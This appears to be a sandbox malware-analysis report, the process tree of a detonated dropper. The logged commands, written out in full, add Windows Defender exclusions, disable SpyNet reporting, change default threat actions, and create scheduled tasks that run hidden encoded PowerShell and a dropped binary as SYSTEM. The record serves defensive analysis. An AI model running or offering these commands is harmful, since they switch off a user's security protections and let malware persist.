PID 2788 wrote to memory of 3444	2788	cmd.exe	reg.exe
PID 2908 wrote to memory of 3636	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3636	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3636	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 2312	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 2312	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 2312	2908	Install.exe	schtasks.exe
PID 1616 wrote to memory of 1964	1616	powershell.EXE	gpupdate.exe
PID 1616 wrote to memory of 1964	1616	powershell.EXE	gpupdate.exe
PID 2908 wrote to memory of 3352	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3352	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3352	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3180	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3180	2908	Install.exe	schtasks.exe
PID 2908 wrote to memory of 3180	2908	Install.exe	schtasks.exe
PID 1804 wrote to memory of 2928	1804	NqMXJFu.exe	powershell.exe
PID 1804 wrote to memory of 2928	1804	NqMXJFu.exe	powershell.exe
PID 1804 wrote to memory of 2928	1804	NqMXJFu.exe	powershell.exe
PID 2928 wrote to memory of 4532	2928	powershell.exe	cmd.exe
PID 2928 wrote to memory of 4532	2928	powershell.exe	cmd.exe
PID 2928 wrote to memory of 4532	2928	powershell.exe	cmd.exe
PID 4532 wrote to memory of 5076	4532	cmd.exe	reg.exe
PID 4532 wrote to memory of 5076	4532	cmd.exe	reg.exe
PID 4532 wrote to memory of 5076	4532	cmd.exe	reg.exe
PID 2928 wrote to memory of 3156	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 3156	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 3156	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 2160	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 2160	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 2160	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 1576	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 1576	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 1576	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 2564	2928	powershell.exe	reg.exe
PID 2928 wrote to memory of 2564	2928	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe
"C:\Users\Admin\AppData\Local\Temp\8eb41b097a51665e2a51b7d055260ea06b5224123450a147080de0a0ebcb4fff.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Users\Admin\AppData\Local\Temp\7zS9ED0.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Users\Admin\AppData\Local\Temp\7zSA20C.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Indirect Command Execution
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1808
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4924
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4032
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4852
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Indirect Command Execution
      Suspicious use of WriteProcessMemory
      PID:5092
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2788
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4492
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3444
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gatXZwvqk" /SC once /ST 12:15:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3636
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gatXZwvqk"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2312
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gatXZwvqk"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3352
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bKwcWZekAnYWEgmozo" /SC once /ST 21:43:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\NqMXJFu.exe\" q8 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3428

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4480

C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\NqMXJFu.exe
C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\mXQpfNlKnkevdXC\NqMXJFu.exe q8 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:5076
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3156
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2160
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3416
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3616
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2992
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4824
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2412
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1364
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4264
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2544
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RqtPwFqMTiUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RqtPwFqMTiUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UBqYudvSNocU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UBqYudvSNocU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZUXSmeDRU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZUXSmeDRU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oXjeNNLqKAotC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oXjeNNLqKAotC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xonCRuklPFipnPeqKpR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xonCRuklPFipnPeqKpR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hrOORTLiECQfZJVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hrOORTLiECQfZJVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\YSrBLfWUtIHnuviW\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\YSrBLfWUtIHnuviW\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RqtPwFqMTiUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4600
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RqtPwFqMTiUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      System Location Discovery: System Language Discovery
      PID:3964
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RqtPwFqMTiUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UBqYudvSNocU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3140
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UBqYudvSNocU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4956
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZUXSmeDRU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZUXSmeDRU" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1324
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oXjeNNLqKAotC" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oXjeNNLqKAotC" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3444
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xonCRuklPFipnPeqKpR" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2820
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xonCRuklPFipnPeqKpR" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4476
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hrOORTLiECQfZJVB /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hrOORTLiECQfZJVB /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3628
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\EMPJhNxQCousXoKTu /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4048
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\YSrBLfWUtIHnuviW /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\YSrBLfWUtIHnuviW /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1492
